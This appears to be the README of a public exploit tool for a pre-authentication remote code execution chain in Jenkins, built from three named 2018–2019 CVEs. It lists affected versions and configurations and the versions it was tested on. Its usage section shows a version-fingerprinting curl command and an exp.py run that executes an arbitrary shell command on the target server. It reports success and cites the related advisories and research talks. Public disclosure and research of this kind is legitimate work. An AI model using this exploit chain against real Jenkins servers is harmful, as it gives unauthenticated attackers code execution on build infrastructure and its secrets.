Awesome

awesome-jenkins-rce-2019

There is no pre-auth RCE in Jenkins since May 2017, but this is the one!

It chains CVE-2018-1000861, CVE-2019-1003005 and CVE-2019-1003029 to a more reliable and elegant pre-auth remote code execution!

Affect list

• ANONYMOUS_READ disable

  • Jenkins version < 2.138

• ANONYMOUS_READ enable(or with a normal user account)

  • Jenkins build time < 2019-01-28

Usage

$ curl -s -I http://jenkins/| grep X-Jenkins
X-Jenkins: 2.137
X-Jenkins-Session: 20f72c2e
X-Jenkins-CLI-Port: 50000
X-Jenkins-CLI2-Port: 50000

$ python exp.py http://jenkins/ 'curl orange.tw'
[*] ANONYMOUS_READ disable!
[*] Bypass with CVE-2018-1000861!
[*] Exploit success!(it should be :P)

Tested on

• Jenkins 2.53
• Jenkins 2.122
• Jenkins 2.137
• Jenkins 2.138 with ANONYMOUS_READ enable
• Jenkins 2.152 with ANONYMOUS_READ enable
• Jenkins 2.153 with ANONYMOUS_READ enable
• Script Security Plugin 1.43
• Script Security Plugin 1.48

Acknowledgements

• @orange_8361 for CVE-2018-1000861
• @0ang3el for CVE-2019-1003005
• @webpentest for CVE-2019-1003029

Part slides from my HITB AMS 2019 talk:

References

• Hacking Jenkins Part 1 - Play with Dynamic Routing
• Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!
• Jenkins Security Advisory 2018-12-05
• Jenkins Security Advisory 2019-01-28
• Jenkins Security Advisory 2019-03-06